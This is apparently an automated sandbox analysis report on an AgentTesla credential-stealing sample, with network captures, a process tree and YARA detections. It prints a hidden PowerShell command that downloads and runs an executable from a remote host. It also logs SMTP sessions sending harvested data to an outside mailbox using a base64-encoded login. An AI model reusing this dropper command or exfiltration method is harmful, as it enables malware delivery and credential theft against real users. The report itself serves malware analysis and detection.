2024-09-27 08:39:12 UTC	16384	IN	Data Raw: 79 32 f7 de 81 e6 ff 00 00 00 7e 28 8b 45 e8 8b 5d e4 8b 4d e4 d1 6d e8 c1 e0 1f d1 eb 0b d8 8b 45 e0 c1 e1 1f d1 e8 0b c1 4e 89 5d e4 89 45 e0 85 f6 7f d8 8d 47 01 8d 5a 04 89 5d c0 89 45 b4 85 c0 0f 8e b5 00 00 00 8b 55 e0 8b 45 e4 8d 75 e0 8d 7d c4 a5 a5 a5 d1 65 e0 8b 7d e0 d1 65 e0 c1 ea 1f 8d 0c 00 0b ca 8b 55 e8 8b f0 c1 ee 1f 03 d2 0b d6 8b c1 8d 34 09 c1 e8 1f 8d 0c 12 8b 55 c4 c1 ef 1f 0b c8 8b 45 e0 0b f7 8d 3c 02 3b f8 72 04 3b fa 73 18 8d 46 01 33 d2 3b c6 72 05 83 f8 01 73 03 33 d2 42 8b f0 85 d2 74 01 41 8b 45 c8 8d 14 30 89 55 bc 3b d6 72 04 3b d0 73 01 41 03 4d cc c1 ea 1f 03 c9 0b ca 8d 34 3f 89 75 e0 8b 75 bc 89 4d e8 c1 e9 18 03 f6 80 c1 30 8b c7 c1 e8 1f 0b f0 88 0b 43 ff 4d b4 83 7d b4 00 89 75 e4 c6 45 eb 00 0f 8f 4b ff ff ff 8a 43 Data Ascii: y2~(E]MmEN]EGZ]EUEu}e}eU4UE<;r;sF3;rs3BtAE0U;r;sAM4?uuM0CM}uEKC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	61253	172.67.74.152	443	4412	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 08:39:29 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-09-27 08:39:29 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 08:39:29 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c9a2ef98a1442d5-EWR
2024-09-27 08:39:29 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	60910	104.26.13.205	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 08:39:46 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-09-27 08:39:46 UTC	211	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 08:39:46 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c9a2f62892443cd-EWR
2024-09-27 08:39:46 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Sep 27, 2024 10:39:31.863718033 CEST	587	61255	208.91.198.176	192.168.2.6	220 PLESK-WEB15.webhostbox.net ESMTP MailEnable Service, Version: 10.43-10.43- ready at 09/27/24 08:39:31
Sep 27, 2024 10:39:31.869550943 CEST	61255	587	192.168.2.6	208.91.198.176	EHLO 855271
Sep 27, 2024 10:39:32.028579950 CEST	587	61255	208.91.198.176	192.168.2.6	250-PLESK-WEB15.webhostbox.net [8.46.123.33], this server offers 5 extensions 250-AUTH NTLM CRAM-MD5 LOGIN 250-SIZE 31457280 250-HELP 250-AUTH=LOGIN 250 STARTTLS
Sep 27, 2024 10:39:32.049669981 CEST	61255	587	192.168.2.6	208.91.198.176	AUTH ntlm TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAKAGFKAAAADw==
Sep 27, 2024 10:39:32.205918074 CEST	587	61255	208.91.198.176	192.168.2.6	334 TlRMTVNTUAACAAAAFAAUACAAAAAFAgAAASNFZ4mrze9NAGEAaQBsAEUAbgBhAGIAbABlAA==
Sep 27, 2024 10:39:32.371865988 CEST	587	61255	208.91.198.176	192.168.2.6	535 Invalid Username or Password
Sep 27, 2024 10:39:32.372162104 CEST	61255	587	192.168.2.6	208.91.198.176	AUTH login aW5mb0B0ZWNobmlxdWVxYXRhci5jb20=
Sep 27, 2024 10:39:32.529844046 CEST	587	61255	208.91.198.176	192.168.2.6	334 UGFzc3dvcmQ6
Sep 27, 2024 10:39:32.692858934 CEST	587	61255	208.91.198.176	192.168.2.6	235 Authenticated
Sep 27, 2024 10:39:32.693131924 CEST	61255	587	192.168.2.6	208.91.198.176	MAIL FROM:<info@techniqueqatar.com>
Sep 27, 2024 10:39:32.853941917 CEST	587	61255	208.91.198.176	192.168.2.6	250 Requested mail action okay, completed
Sep 27, 2024 10:39:32.854136944 CEST	61255	587	192.168.2.6	208.91.198.176	RCPT TO:<obamueze20@yandex.com>
Sep 27, 2024 10:39:33.014722109 CEST	587	61255	208.91.198.176	192.168.2.6	250 Requested mail action okay, completed
Sep 27, 2024 10:39:33.014929056 CEST	61255	587	192.168.2.6	208.91.198.176	DATA
Sep 27, 2024 10:39:33.191643000 CEST	587	61255	208.91.198.176	192.168.2.6	354 Start mail input; end with <CRLF>.<CRLF>
Sep 27, 2024 10:39:33.192322016 CEST	61255	587	192.168.2.6	208.91.198.176	.
Sep 27, 2024 10:39:33.468732119 CEST	587	61255	208.91.198.176	192.168.2.6	250 Requested mail action okay, completed
Sep 27, 2024 10:39:33.527435064 CEST	61255	587	192.168.2.6	208.91.198.176	QUIT
Sep 27, 2024 10:39:33.684020042 CEST	587	61255	208.91.198.176	192.168.2.6	221 Service closing transmission channel
Sep 27, 2024 10:39:34.285824060 CEST	587	60905	208.91.198.176	192.168.2.6	220 PLESK-WEB15.webhostbox.net ESMTP MailEnable Service, Version: 10.43-10.43- ready at 09/27/24 08:39:34
Sep 27, 2024 10:39:34.288938999 CEST	60905	587	192.168.2.6	208.91.198.176	EHLO 855271
Sep 27, 2024 10:39:34.448801994 CEST	587	60905	208.91.198.176	192.168.2.6	250-PLESK-WEB15.webhostbox.net [8.46.123.33], this server offers 5 extensions 250-AUTH NTLM CRAM-MD5 LOGIN 250-SIZE 31457280 250-HELP 250-AUTH=LOGIN 250 STARTTLS
Sep 27, 2024 10:39:34.480710030 CEST	60905	587	192.168.2.6	208.91.198.176	AUTH ntlm TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAKAGFKAAAADw==
Sep 27, 2024 10:39:34.639841080 CEST	587	60905	208.91.198.176	192.168.2.6	334 TlRMTVNTUAACAAAAFAAUACAAAAAFAgAAASNFZ4mrze9NAGEAaQBsAEUAbgBhAGIAbABlAA==
Sep 27, 2024 10:39:34.815177917 CEST	587	60905	208.91.198.176	192.168.2.6	535 Invalid Username or Password
Sep 27, 2024 10:39:34.815320969 CEST	60905	587	192.168.2.6	208.91.198.176	AUTH login aW5mb0B0ZWNobmlxdWVxYXRhci5jb20=
Sep 27, 2024 10:39:34.976739883 CEST	587	60905	208.91.198.176	192.168.2.6	334 UGFzc3dvcmQ6
Sep 27, 2024 10:39:35.136542082 CEST	587	60905	208.91.198.176	192.168.2.6	235 Authenticated
Sep 27, 2024 10:39:35.136774063 CEST	60905	587	192.168.2.6	208.91.198.176	MAIL FROM:<info@techniqueqatar.com>
Sep 27, 2024 10:39:35.297631025 CEST	587	60905	208.91.198.176	192.168.2.6	250 Requested mail action okay, completed
Sep 27, 2024 10:39:35.297821045 CEST	60905	587	192.168.2.6	208.91.198.176	RCPT TO:<obamueze20@yandex.com>
Sep 27, 2024 10:39:35.460177898 CEST	587	60905	208.91.198.176	192.168.2.6	250 Requested mail action okay, completed
Sep 27, 2024 10:39:35.460342884 CEST	60905	587	192.168.2.6	208.91.198.176	DATA
Sep 27, 2024 10:39:35.638395071 CEST	587	60905	208.91.198.176	192.168.2.6	354 Start mail input; end with <CRLF>.<CRLF>
Sep 27, 2024 10:39:35.640088081 CEST	60905	587	192.168.2.6	208.91.198.176	.
Sep 27, 2024 10:39:36.055511951 CEST	587	60905	208.91.198.176	192.168.2.6	250 Requested mail action okay, completed
Sep 27, 2024 10:39:48.495675087 CEST	587	60912	208.91.198.176	192.168.2.6	220 PLESK-WEB15.webhostbox.net ESMTP MailEnable Service, Version: 10.43-10.43- ready at 09/27/24 08:39:48
Sep 27, 2024 10:39:48.495978117 CEST	60912	587	192.168.2.6	208.91.198.176	EHLO 855271
Sep 27, 2024 10:39:48.656013012 CEST	587	60912	208.91.198.176	192.168.2.6	250-PLESK-WEB15.webhostbox.net [8.46.123.33], this server offers 5 extensions 250-AUTH NTLM CRAM-MD5 LOGIN 250-SIZE 31457280 250-HELP 250-AUTH=LOGIN 250 STARTTLS
Sep 27, 2024 10:39:48.659544945 CEST	60912	587	192.168.2.6	208.91.198.176	AUTH ntlm TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAKAGFKAAAADw==
Sep 27, 2024 10:39:48.820480108 CEST	587	60912	208.91.198.176	192.168.2.6	334 TlRMTVNTUAACAAAAFAAUACAAAAAFAgAAASNFZ4mrze9NAGEAaQBsAEUAbgBhAGIAbABlAA==
Sep 27, 2024 10:39:48.983197927 CEST	587	60912	208.91.198.176	192.168.2.6	535 Invalid Username or Password
Sep 27, 2024 10:39:48.983772993 CEST	60912	587	192.168.2.6	208.91.198.176	AUTH login aW5mb0B0ZWNobmlxdWVxYXRhci5jb20=
Sep 27, 2024 10:39:49.212616920 CEST	587	60912	208.91.198.176	192.168.2.6	334 UGFzc3dvcmQ6
Sep 27, 2024 10:39:49.374878883 CEST	587	60912	208.91.198.176	192.168.2.6	235 Authenticated
Sep 27, 2024 10:39:49.375241995 CEST	60912	587	192.168.2.6	208.91.198.176	MAIL FROM:<info@techniqueqatar.com>
Sep 27, 2024 10:39:49.537868023 CEST	587	60912	208.91.198.176	192.168.2.6	250 Requested mail action okay, completed
Sep 27, 2024 10:39:49.538279057 CEST	60912	587	192.168.2.6	208.91.198.176	RCPT TO:<obamueze20@yandex.com>
Sep 27, 2024 10:39:49.868890047 CEST	587	60912	208.91.198.176	192.168.2.6	250 Requested mail action okay, completed
Sep 27, 2024 10:39:49.869097948 CEST	60912	587	192.168.2.6	208.91.198.176	DATA
Sep 27, 2024 10:39:50.049453020 CEST	587	60912	208.91.198.176	192.168.2.6	354 Start mail input; end with <CRLF>.<CRLF>
Sep 27, 2024 10:39:50.050106049 CEST	60912	587	192.168.2.6	208.91.198.176	.
Sep 27, 2024 10:39:50.316258907 CEST	587	60912	208.91.198.176	192.168.2.6	250 Requested mail action okay, completed
Sep 27, 2024 10:39:50.353040934 CEST	60912	587	192.168.2.6	208.91.198.176	QUIT
Sep 27, 2024 10:39:50.514698029 CEST	587	60912	208.91.198.176	192.168.2.6	221 Service closing transmission channel
Sep 27, 2024 10:39:51.066147089 CEST	587	60913	208.91.198.176	192.168.2.6	220 PLESK-WEB15.webhostbox.net ESMTP MailEnable Service, Version: 10.43-10.43- ready at 09/27/24 08:39:50
Sep 27, 2024 10:39:51.066314936 CEST	60913	587	192.168.2.6	208.91.198.176	EHLO 855271
Sep 27, 2024 10:39:51.221191883 CEST	587	60913	208.91.198.176	192.168.2.6	250-PLESK-WEB15.webhostbox.net [8.46.123.33], this server offers 5 extensions 250-AUTH NTLM CRAM-MD5 LOGIN 250-SIZE 31457280 250-HELP 250-AUTH=LOGIN 250 STARTTLS
Sep 27, 2024 10:39:51.221904993 CEST	60913	587	192.168.2.6	208.91.198.176	AUTH ntlm TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAKAGFKAAAADw==
Sep 27, 2024 10:39:51.378034115 CEST	587	60913	208.91.198.176	192.168.2.6	334 TlRMTVNTUAACAAAAFAAUACAAAAAFAgAAASNFZ4mrze9NAGEAaQBsAEUAbgBhAGIAbABlAA==
Sep 27, 2024 10:39:51.535609007 CEST	587	60913	208.91.198.176	192.168.2.6	535 Invalid Username or Password
Sep 27, 2024 10:39:51.535824060 CEST	60913	587	192.168.2.6	208.91.198.176	AUTH login aW5mb0B0ZWNobmlxdWVxYXRhci5jb20=
Sep 27, 2024 10:39:51.690300941 CEST	587	60913	208.91.198.176	192.168.2.6	334 UGFzc3dvcmQ6
Sep 27, 2024 10:39:51.846152067 CEST	587	60913	208.91.198.176	192.168.2.6	235 Authenticated
Sep 27, 2024 10:39:51.851798058 CEST	60913	587	192.168.2.6	208.91.198.176	MAIL FROM:<info@techniqueqatar.com>
Sep 27, 2024 10:39:52.008380890 CEST	587	60913	208.91.198.176	192.168.2.6	250 Requested mail action okay, completed
Sep 27, 2024 10:39:52.008574009 CEST	60913	587	192.168.2.6	208.91.198.176	RCPT TO:<obamueze20@yandex.com>
Sep 27, 2024 10:39:52.164768934 CEST	587	60913	208.91.198.176	192.168.2.6	250 Requested mail action okay, completed
Sep 27, 2024 10:39:52.165067911 CEST	60913	587	192.168.2.6	208.91.198.176	DATA
Sep 27, 2024 10:39:52.337244987 CEST	587	60913	208.91.198.176	192.168.2.6	354 Start mail input; end with <CRLF>.<CRLF>
Sep 27, 2024 10:39:52.339463949 CEST	60913	587	192.168.2.6	208.91.198.176	.
Sep 27, 2024 10:39:52.499825954 CEST	587	60913	208.91.198.176	192.168.2.6	250 Requested mail action okay, completed

Target ID:	0
Start time:	04:38:58
Start date:	27/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -command "& { Invoke-WebRequest -Uri https://oootorgline.ru/components/grace.exe -OutFile C:\Users\user\AppData\Local\Temp\file.exe; Start-Process 'C:\Users\user\AppData\Local\Temp\file.exe' }"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:38:59
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:39:14
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\file.exe"
Imagebase:	0x400000
File size:	1'305'263 bytes
MD5 hash:	AA6F514A7AFA81E26BCF612923EA483C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:39:21
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\unspattered\recomplaint.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\file.exe"
Imagebase:	0x400000
File size:	1'305'263 bytes
MD5 hash:	AA6F514A7AFA81E26BCF612923EA483C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:39:26
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\file.exe"
Imagebase:	0xea0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.2557012499.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2557012499.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.2567429663.0000000003414000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2567429663.0000000003414000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2567429663.0000000003446000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2567429663.000000000343E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:39:37
Start date:	27/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\recomplaint.vbs"
Imagebase:	0x7ff6d0a00000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:39:37
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\unspattered\recomplaint.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\unspattered\recomplaint.exe"
Imagebase:	0x400000
File size:	1'305'263 bytes
MD5 hash:	AA6F514A7AFA81E26BCF612923EA483C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:39:43
Start date:	27/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\unspattered\recomplaint.exe"
Imagebase:	0x680000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.3370850966.0000000002944000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.3370850966.0000000002944000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.3370850966.0000000002989000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	04:39:50
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe"
Imagebase:	0x500000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:39:50
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:39:58
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\aWUFv\aWUFv.exe"
Imagebase:	0x590000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:39:58
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFD34773678 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2300598863.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f33d1e632989635678b245328cc7bc1721c8c077b4203030e450c6231414e73
Instruction ID: b660c7a411bc3914f106ca2a174f464b8a8971992e48fa8ce72d43bb11ef9079
Opcode Fuzzy Hash: 6f33d1e632989635678b245328cc7bc1721c8c077b4203030e450c6231414e73
Instruction Fuzzy Hash: 2311C47150D7C54FE746DB28A8A55A4BFB0EF53230B1401DFD1C5CB1A3D12AA88AC742

Function 00007FFD34773605 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2300598863.00007FFD34770000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34770000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 281100a30d7c8aacf98cc0b2a1d9629b209f2f8b3be5d8b47f005ab220b1047f
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: E101677121CB0C8FD744EF0CE491AB9B7E0FB95364F50056DE58AC3651D636E881CB45

Analysis Process: RegSvcs.exePID: 4412, Parent PID: 5692COMMON

Execution Graph

Execution Coverage:	13.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	12.9%
Total number of Nodes:	31
Total number of Limit Nodes:	4

Executed Functions

Function 0167BC10 Relevance: 3.1, Instructions: 3132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2566369542.0000000001670000.00000040.00000800.00020000.00000000.sdmp, Offset: 01670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1670000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6ac5f72f46b05cf1dfb870b3e766505e58c39a6f8e6563686ad28d9e56c9719
Instruction ID: 7cedeba80cf63c7c4230623099e0889257321527014ce26b0cd3a7e602527095
Opcode Fuzzy Hash: d6ac5f72f46b05cf1dfb870b3e766505e58c39a6f8e6563686ad28d9e56c9719
Instruction Fuzzy Hash: DC630C31D10B1A8ADB11EF68C8905A9F7B1FF99300F15D79AE45877221FB70AAC5CB81

Function 06E55150 Relevance: 1.8, Strings: 1, Instructions: 591
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06E55535

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 88cdc8a85157f21eac9392a46fc6a5953ebdc8b22d1a839614fa98c1517ad7ba
Instruction ID: cffa37539bd36f0a568feb367aa2099bbf2f913195a2c7f226f57d126b7d06f9
Opcode Fuzzy Hash: 88cdc8a85157f21eac9392a46fc6a5953ebdc8b22d1a839614fa98c1517ad7ba
Instruction Fuzzy Hash: 5222B035E003158FDF64DBA8C5846AEBBB2FF89314F258469D806EB354DA35EC46CB90

Function 016780A8 Relevance: 1.6, APIs: 1, Instructions: 79
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 0167804F

Memory Dump Source

Source File: 00000008.00000002.2566369542.0000000001670000.00000040.00000800.00020000.00000000.sdmp, Offset: 01670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1670000_RegSvcs.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: e23c2f61c7fd8ad678381aca5f1cd0c7ae00323ede40b41f6efd8cdaa0ec514e
Instruction ID: b39c6b7746ef7b20f74d4b5312f50609bc1ffcb6af4526fb1db2ff451f4078f6
Opcode Fuzzy Hash: e23c2f61c7fd8ad678381aca5f1cd0c7ae00323ede40b41f6efd8cdaa0ec514e
Instruction Fuzzy Hash: 5D21F632A002559FDF01DFB99C483FEBBE5EF45220F1484A9D685D7242E7388A46CB92

Function 06E56188 Relevance: .8, Instructions: 810COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29a640267d11ca9f0c650c2450ff35c7939d4da5756f1d85050b0d3333456a60
Instruction ID: 329ac67169d6a29d78304f63af0d92c93c7188bac88f60591156d45b2c8c9fb9
Opcode Fuzzy Hash: 29a640267d11ca9f0c650c2450ff35c7939d4da5756f1d85050b0d3333456a60
Instruction Fuzzy Hash: 35629C34B002058FEB54DB68D584AADB7F2EF88318F559569E806DB3A1DB35EC46CB80

Function 06E5C130 Relevance: .6, Instructions: 635
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6d738129aa19cd7d7e959a1b986b191025a69bb05764729c4c5cc1eebd6ab00
Instruction ID: 0337ad684c0647063064549b2c65c508fdbab3c234233068ab712ea8773c1ea2
Opcode Fuzzy Hash: c6d738129aa19cd7d7e959a1b986b191025a69bb05764729c4c5cc1eebd6ab00
Instruction Fuzzy Hash: 1D329F74B103098FDB50DB68D894BADB7B6EF88714F219529DA05EB381DB34EC468F90

Function 06E5B1C9 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d074fdabe5cb80a67c966375a14c9c315db42b3c6e0427983f1272ff3db4b0c3
Instruction ID: 452fe1c72634750d17f588387735cb7c9a5efd420f48a2c30f3c49bc722a6fa3
Opcode Fuzzy Hash: d074fdabe5cb80a67c966375a14c9c315db42b3c6e0427983f1272ff3db4b0c3
Instruction Fuzzy Hash: 5A227334E103098FEF64DB68C4A47AEB7B6FB49314F219526E845EB391DA34DC81CB91

Function 06E53018 Relevance: .5, Instructions: 545COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a270aaf4547c66c1a0cee23e040a39252aace79f494c192fcb606bbc30d2b63
Instruction ID: 9ffdd89e5f272e54a246db5e1640974cec6ebdcac4f509d70dc207824658fea4
Opcode Fuzzy Hash: 1a270aaf4547c66c1a0cee23e040a39252aace79f494c192fcb606bbc30d2b63
Instruction Fuzzy Hash: 98322E31E1075ACFDB14DF74C85499DB7B6FF89300F2196AAD809A7265EB30AD85CB80

Function 06E57918 Relevance: .5, Instructions: 472COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2581553985.0000000006E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6e50000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6df537dcf0a673501989b2f2ed17ab458fd5024f40646c44cc5a78d2d2c69620
Instruction ID: 2c8dd4bedcc8c1b4a2fbb01638b901f58a1bf32e360e1d3e52bff10f00b930ef
